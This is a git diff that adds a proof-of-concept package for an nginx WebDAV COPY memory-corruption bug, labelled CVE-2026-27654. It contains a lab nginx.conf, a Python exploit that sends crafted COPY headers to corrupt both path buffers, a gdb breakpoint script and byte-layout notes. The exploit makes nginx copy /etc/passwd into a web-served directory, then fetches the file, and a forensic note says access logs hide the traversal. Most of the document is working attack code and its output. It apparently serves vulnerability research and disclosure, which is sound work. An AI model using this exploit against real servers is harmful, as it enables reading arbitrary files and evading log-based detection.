Pad's CR (duri[-15]) + +--- duri (Destination header) --- +duri.data = 0xaaaaf5835657 duri.len = 3 +(duri.data + 5) & 0xf = 12 <-- >= 2, count wraps OK + +=== ngx_copy_file === +from = "/tmp/lab/aaaaaaaaaaaaaa/../../../etc/passwd" +to = "/tmp/lab/www/leaked" + + +Byte-mapping formulas (gdb-confirmed) +===================================== + +Pool layout: ngx_pnalloc -> bump allocator, no alignment + No allocations between L693 and L703. + dest_path = source_path + L (contiguous) + +Source-path size: L = root.len + uri.len - alias + 1 = 50 +Dest-path size: path.len = root.len + duri.len - alias + 1 = 38 +Backward reach: 65 - path.len = 27 bytes +Surviving prefix: L - 27 = 23 bytes +Overwritten range: source_path[23 .. 49] (27 bytes) + +Source mapping: source_path[j] = duri[j - L - root.len + alias] + = duri[j - 84] for j in [23, 49] + +Dest mapping: dest_path[i] = duri[i - root.len + alias] + = duri[i - 34] for i in [0, 36] + +NUL placement: duri[-15] = NUL (Pad CR) -> dest_path[19] + duri[-41] = NUL (Src CR) -> source_path[43] + +Why the header keys are 3 chars: + The Src CR's offset from duri.data is fixed by what's between them: + 1 (Src CR) + 1 (LF) + len("Pad") + 1 (:) + 1 (sp) + len(Pad value) + + 1 (Pad CR) + 1 (LF) + 11 ("Destination") + 1 (:) + 1 (sp) + = 4 + 3 + 19 + 15 = 41 + So Src CR is at duri[-41]. With "X-Pad" (5 chars) it would be at + duri[-43] -> source_path[41] -> only 18 chars of traversal, and + /../../../etc/passwd needs 20. + + +Forensic note +============= + +nginx debug log records the source path BEFORE corruption (L697 < L703): + + http copy from: "/tmp/lab/aaaaaaaaaaaaaaaaaaaaaaaaaaaaa/xxxxxxxxxx" + http copy to: "/tmp/lab/www/leaked" + +The actual open() syscall sees the corrupted path: + + /tmp/lab/aaaaaaaaaaaaaa/../../../etc/passwd + +Defenders auditing access logs alone will not see /etc/passwd anywhere. diff --git a/MADBugs/nginx-CVE-2026-27654/poc-2/nginx.conf b/MADBugs/nginx-CVE-2026-27654/poc-2/nginx.conf new file mode 100644 index 0000000..e7d3b03 --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-2/nginx.conf @@ -0,0 +1,28 @@ +worker_processes 1; +daemon off; +master_process off; +error_log /tmp/lab/logs/error.log debug; +pid /tmp/lab/logs/nginx.pid; + +events {} + +http { + client_body_temp_path /tmp/lab/temp; + proxy_temp_path /tmp/lab/temp; fastcgi_temp_path /tmp/lab/temp; + uwsgi_temp_path /tmp/lab/temp; scgi_temp_path /tmp/lab/temp; + + server { + listen 9080; + + location /files/ { alias /tmp/lab/www/; } # demo download root + + # This is the entire vulnerable surface for the source-corruption + # variant. No PUT, no create_full_put_path, no dav_access. + # root.len = 39 = len("/tmp/lab/") + 29 a's + "/" + # controlled = root.len - alias - 15 = 39 - 5 - 15 = 19 chars + location /dav/ { + alias /tmp/lab/aaaaaaaaaaaaaaaaaaaaaaaaaaaaa/; + dav_methods COPY; + } + } +} diff --git a/MADBugs/nginx-CVE-2026-27654/poc-2/poc_src.py b/MADBugs/nginx-CVE-2026-27654/poc-2/poc_src.py new file mode 100644 index 0000000..5400e16 --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-2/poc_src.py @@ -0,0 +1,257 @@ +#!/usr/bin/env python3 +""" +CVE-2026-27654 -- source-path corruption variant. + +Unlike poc-1 which uploads attacker content via PUT and redirects the +*destination* of the COPY, this PoC sends a single COPY request that +corrupts BOTH the source and destination paths simultaneously, causing +nginx to copy an arbitrary existing file (/etc/passwd) to an attacker- +chosen location. + +No PUT, no upload, no file under the DAV root. + +Key insight: the source-path buffer and the dest-path buffer are +allocated back-to-back in the request pool (both via ngx_pnalloc, the +unaligned bump allocator, with no allocation between L693 and L703). +The same 64-byte bounded write window that corrupts dest_path[0..36] +also covers dest_path[-27..-1] -- the *tail* of the source-path buffer. + +We tune the source-URI length so the surviving source-path prefix is a +real directory, then plant a `../../../etc/passwd` tail via the header +that precedes X-Pad in the request. + +gdb-confirmed on aarch64 (Debian 12, glibc 2.36, nginx 1.29.5): + + === ngx_copy_file === + from = "/tmp/lab/aaaaaaaaaaaaaa/../../../etc/passwd" + to = "/tmp/lab/www/leaked" + + GET /files/leaked -> 200 OK, body == /etc/passwd +""" +import argparse +import hashlib +import shutil +import socket +import subprocess +import time +from pathlib import Path + + +HOST, PORT = "127.0.0.1", 9080 + +# --- Layout parameters --------------------------------------------------- +ROOT_LEN = 39 # len("/tmp/lab/" + "a"*29 + "/") +ALIAS_LEN = 5 # len("/dav/") +SRC_URI = "/dav/xxxxxxxxxx" # 15 chars; the file need not exist + +# Source-path size: L = root.len + uri.len - alias + 1 = 39 + 15 - 5 + 1 = 50. +# Dest-path size: path.len = root.len + duri.len - alias + 1 = 39+3-5+1 = 38. +# Bounded tail covers dest_path[path.len-65 .. path.len-2] = dest_path[-27..36]. +# In source coords: source_path[L-27 .. L+36] = source_path[23..86]. +# Surviving prefix = source_path[0..22] = first 23 bytes of the alias root +# = "/tmp/lab/aaaaaaaaaaaaaa" (14 a's). +L = ROOT_LEN + len(SRC_URI) - ALIAS_LEN + 1 # 50 +PATH_LEN = ROOT_LEN + 3 - ALIAS_LEN + 1 # 38 (deficit=2) +REACH = 65 - PATH_LEN # 27 +SURVIVE = L - REACH # 23 +PIVOT_DIR = "/tmp/lab/aaaaaaaaaaaaaaaaaaaaaaaaaaaaa/"[:SURVIVE] # "/tmp/lab/aaaaaaaaaaaaaa" + +# Destination control: same formula as poc-1. +# dest_path[i] = duri[i - root.len + alias] = duri[i - 34]. +# NUL at duri[-15] -> dest_path[19]. +# X-Pad value (exactly 19 chars) becomes dest_path[0..18]. +# /tmp/lab/www/ is served by nginx at /files/ -> downloadable over HTTP. +DEST_PATH = "/tmp/lab/www/leaked" # 19 chars +DEST_URL = "/files/leaked" +assert len(DEST_PATH) == ROOT_LEN - ALIAS_LEN - 15 + +# Source-path tail control: +# source_path[j] = duri[j - L - root.len + alias] = duri[j - 84] +# +# We want source_path[23..42] = "/../../../etc/passwd" (20 bytes) +# and source_path[43] = NUL. The NUL is the previous header's CR +# (parser-zeroed), and its position relative to duri.data depends on +# the lengths of the X-Pad header KEY and VALUE that sit between it +# and Destination: +# +# duri[-(15 + len(xpad_value) + 1 + 1 + len(xpad_key) + 1 + 1)] = NUL +# +# With "X-Pad: <19 chars>": NUL at duri[-(15+19+2+5+2)] = duri[-43]. +# That maps to source_path[84-43] = source_path[41]. Budget = 41-23 = 18. +# "/../../../etc/passwd" is 20 chars; doesn't fit. +# +# Shorten the X-Pad KEY from "X-Pad" (5) to "Pad" (3): NUL moves to +# duri[-(15+19+2+3+2)] = duri[-41] -> source_path[43]. Budget = 20. +# +# (The header NAME is arbitrary; nginx parses it and ignores it. Only +# the value's position in the buffer matters. This is the same trick +# as renaming X-Pad in the first place.) +# +# With Src CR at duri[-41]: +# duri[-42..] = Src value, last byte first +# duri[-61..-42] = Src value's last 20 chars +# source_path[23..42] = those 20 chars +# source_path[43] = NUL +PAD_HEADER_KEY = "Pad" # was "X-Pad"; 2 chars shorter to keep + # the Src CR at duri[-41] -> budget = 20 +SRC_TAIL = "/../../../etc/passwd" +assert len(SRC_TAIL) == 20 +assert PIVOT_DIR.count("/") == SRC_TAIL.count("..") # depth check + +TARGET_SRC = "/etc/passwd" + + +def send(raw: bytes, timeout: float = 2.0) -> bytes: + resp = b"" + with socket.create_connection((HOST, PORT), timeout=5) as sock: + sock.settimeout(timeout) + sock.sendall(raw) + while True: + try: + chunk = sock.recv(4096) + except (socket.timeout, ConnectionResetError): + break + if not chunk: + break + resp += chunk + return resp + + +def status_line(resp: bytes) -> str: + if not resp: + return "" + return resp.split(b"\r\n", 1)[0].decode("latin1", "replace") + + +def reset_lab() -> None: + shutil.rmtree("/tmp/lab/www", ignore_errors=True) + Path("/tmp/lab/www").mkdir(parents=True, exist_ok=True) + Path("/tmp/lab/logs").mkdir(parents=True, exist_ok=True) + Path("/tmp/lab/temp").mkdir(parents=True, exist_ok=True) + # Pivot dir: the surviving source-path prefix. Must exist for the + # kernel to walk `..` through it. The full alias root need not. + Path(PIVOT_DIR).mkdir(parents=True, exist_ok=True) + for p in (Path("/tmp/lab/logs/error.log"), Path("/tmp/lab/logs/access.log")): + p.write_text("") + + +def start_nginx(nginx_bin: str, conf: str) -> subprocess.Popen[bytes]: + proc = subprocess.Popen( + [nginx_bin, "-p", "/tmp/lab/", "-c", conf], + stdout=subprocess.PIPE, stderr=subprocess.PIPE, + ) + for _ in range(50): + try: + with socket.create_connection((HOST, PORT), timeout=0.1): + return proc + except OSError: + if proc.poll() is not None: + out, err = proc.communicate(timeout=1) + raise RuntimeError(f"nginx exited early: {err!r}") + time.sleep(0.1) + raise RuntimeError("nginx did not start listening") + + +def stop_nginx(proc: subprocess.Popen[bytes]) -> None: + if proc.poll() is None: + proc.terminate() + try: + proc.wait(timeout=2) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait(timeout=2) + + +def attempt(pad: int) -> tuple[str, bool]: + """One COPY with `pad` bytes of front-padding on Src. + + Padding shifts the address of the parsed header buffer (and thus + duri.data) without changing the byte mapping at duri[-61..-35]. + The bounded-copy path requires (duri.data + alias) & 0xf >= 2; + if a given pad lands at 0 or 1 the worker crashes before writing. + Sweeping pad in [0, 16) covers all residues. + """ + src_value = ("Z" * pad) + SRC_TAIL + req = ( + f"COPY {SRC_URI} HTTP/1.1\r\n" + f"Host: {HOST}:{PORT}\r\n" + f"Src: {src_value}\r\n" + f"{PAD_HEADER_KEY}: {DEST_PATH}\r\n" + f"Destination: /da\r\n" + f"\r\n" + ).encode() + resp = send(req) + return status_line(resp), Path(DEST_PATH).exists() + + +def http_get(path: str) -> tuple[str, bytes]: + req = ( + f"GET {path} HTTP/1.1\r\n" + f"Host: {HOST}:{PORT}\r\n" + f"Connection: close\r\n" + f"\r\n" + ).encode() + resp = send(req) + if b"\r\n\r\n" not in resp: + return status_line(resp), b"" + head, body = resp.split(b"\r\n\r\n", 1) + return head.split(b"\r\n", 1)[0].decode("latin1", "replace"), body + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("--nginx-bin", required=True) + ap.add_argument("--nginx-conf", required=True) + args = ap.parse_args() + + print(f"[*] root.len={ROOT_LEN} alias={ALIAS_LEN} src_uri_len={len(SRC_URI)}") + print(f"[*] L = {L}, path.len = {PATH_LEN}, reach = {REACH}, surviving = {SURVIVE}") + print(f"[*] pivot dir = {PIVOT_DIR}") + print(f"[*] reading = {TARGET_SRC}") + print(f"[*] writing to = {DEST_PATH}") + print() + + reset_lab() + proc = start_nginx(args.nginx_bin, args.nginx_conf) + try: + ok = False + for pad in range(16): + status, ok = attempt(pad) + print(f" pad={pad:2d} {status} written={ok}") + if ok: + break + if proc.poll() is not None: + proc = start_nginx(args.nginx_bin, args.nginx_conf) + + print() + if ok: + if proc.poll() is not None: + print(f"[*] worker exited (code={proc.returncode}), restarting for GET") + proc = start_nginx(args.nginx_bin, args.nginx_conf) + + print(f"[*] GET {DEST_URL}") + status, body = http_get(DEST_URL) + print(f" {status}") + print() + + ref = Path(TARGET_SRC).read_bytes() + print(f"download_size: {len(body)}") + print(f"download_sha256: {hashlib.sha256(body).hexdigest()}") + print(f"matches {TARGET_SRC}: {body == ref}") + print() + print("--- downloaded body, first 3 lines ---") + for line in body.decode("latin1").splitlines()[:3]: + print(f" {line}") + else: + print("FAILED: no padding value produced a write") + print("--- error.log tail ---") + print(Path("/tmp/lab/logs/error.log").read_text(errors="replace")[-2000:]) + return 1 + finally: + stop_nginx(proc) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/MADBugs/nginx-CVE-2026-27654/poc-2/trace1.gdb b/MADBugs/nginx-CVE-2026-27654/poc-2/trace1.gdb new file mode 100644 index 0000000..03d9613 --- /dev/null +++ b/MADBugs/nginx-CVE-2026-27654/poc-2/trace1.gdb @@ -0,0 +1,110 @@ +# CVE-2026-27654 source-path corruption -- gdb breakpoint script +# +# Reproduces the trace in gdb_trace.txt. Run nginx single-process under +# gdb, send the COPY from another shell (poc_src.py or ncat), and step +# through the three stops. +# +# docker run --rm -it --cap-add=SYS_PTRACE bash +# gdb -x trace1.gdb --args /usr/local/nginx/sbin/nginx -p /tmp/lab/ -c /tmp/lab/nginx.conf +# +# Then from a second shell inside the container: +# python3 /tmp/lab/poc_src.py --no-spawn + +set pagination off +set print pretty on +set confirm off + +# Hexdump helper: dump N bytes from ADDR in 8-byte rows with ASCII +define xd + set $p = (unsigned char *)($arg0) + set $n = (int)($arg1) + set $i = 0 + while $i < $n + printf "%p: ", $p + $i + set $j = 0 + while $j < 8 && ($i + $j) < $n + printf "%02x ", *($p + $i + $j) + set $j = $j + 1 + end + printf " " + set $j = 0 + while $j < 8 && ($i + $j) < $n + set $c = *($p + $i + $j) + if $c >= 0x20 && $c < 0x7f + printf "%c", $c + else + printf "." + end + set $j = $j + 1 + end + printf "\n" + set $i = $i + 8 + end +end + +# --------------------------------------------------------------------------- +# Stop 1: after the SOURCE path is mapped, before the URI swap. +# ngx_http_dav_module.c:697 is the debug-log line right after +# ngx_http_map_uri_to_path(r, &path, &root, 0). +# --------------------------------------------------------------------------- +break ngx_http_dav_module.c:697 +commands + silent + printf "\n=== AFTER SOURCE MAP (L697, before corruption) ===\n" + printf "path.data = %p\n", path.data + printf "path.len = %lu\n", (unsigned long)path.len + printf "path str = \"%s\"\n", path.data + printf "r->pool->d.last = %p <-- next pnalloc returns this\n", r->pool->d.last + # Stash for stop 2: the local `path` is still in scope at L707, but the + # values we want to compare are the *pre-corruption* ones. + set $src_path = path.data + set $src_len = (long)path.len + continue +end + +# --------------------------------------------------------------------------- +# Stop 2: after the DEST path is mapped (and the overflow has fired). +# L707 is the `r->uri = uri` restore, immediately after +# ngx_http_map_uri_to_path(r, ©.path, &root, 0). +# --------------------------------------------------------------------------- +break ngx_http_dav_module.c:707 +commands + silent + printf "\n=== AFTER DEST MAP (L707, post-overflow) ===\n" + printf "copy.path.data = %p\n", copy.path.data + printf "copy.path.len = %lu\n", (unsigned long)copy.path.len + set $gap = (long)((char *)copy.path.data - (char *)$src_path) + printf "gap (dest-src) = %ld (== %ld means contiguous)\n", $gap, $src_len + + printf "\n--- source path bytes [0..%ld] AFTER overflow ---\n", $src_len - 1 + xd $src_path $src_len + printf "--- source path as C string ---\n\"%s\"\n", $src_path + + printf "\n--- dest path bytes [0..%ld] ---\n", (long)copy.path.len - 1 + xd copy.path.data (long)copy.path.len + printf "--- dest path as C string ---\n\"%s\"\n", copy.path.data + + printf "\n--- duri (Destination header) ---\n" + printf "duri.data = %p duri.len = %lu\n", duri.data, (unsigned long)duri.len + printf "(duri.data + alias) & 0xf = %lu <-- need >= 2 for count to wrap to small\n", \ + ((unsigned long)duri.data + 5) & 0xf + printf "\nduri[-64..+%lu]:\n", (unsigned long)duri.len + xd (duri.data - 64) (64 + (long)duri.len + 1) + continue +end + +# --------------------------------------------------------------------------- +# Stop 3: the actual file operation. Confirm the corrupted paths reach the +# syscall layer. +# --------------------------------------------------------------------------- +break ngx_copy_file +commands + silent + printf "\n=== ngx_copy_file ===\n" + printf "from = \"%s\"\n", (char *)from + printf "to = \"%s\"\n", (char *)to + printf "\n(continuing -- worker should survive and re-enter keepalive)\n" + continue +end + +run